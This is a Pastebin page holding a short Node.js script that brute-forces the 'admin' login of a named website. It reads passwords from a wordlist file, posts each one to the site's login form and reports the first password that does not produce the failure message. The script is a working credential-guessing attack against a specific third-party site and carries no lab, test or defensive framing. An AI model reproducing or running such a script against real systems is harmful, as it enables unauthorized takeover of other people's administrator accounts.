Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var request = require('request');
- var fs = require('fs');
- var passwords = fs.readFileSync('passwords.txt').toString().split('\n');
- var i = 0;
- testPass();
- function testPass() {
- var pass = passwords[i];
- var success = false;
- console.log("TESTING : " + pass);
- request.post({url:'http://www.elephantafiles.com/', form: {op:'login', token:null, rand:null, redirect:'http://www.elephantafiles.com/', login:'admin', password:pass}}, function(err,httpResponse,body){
- success = !body.includes("Incorrect Login or Password");
- if (success) {
- console.log("PASSWORD FOUND : " + pass);
- process.exit(0);
- } else {
- i++;
- if (i < passwords.length) {
- testPass();
- }
- }
- });
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement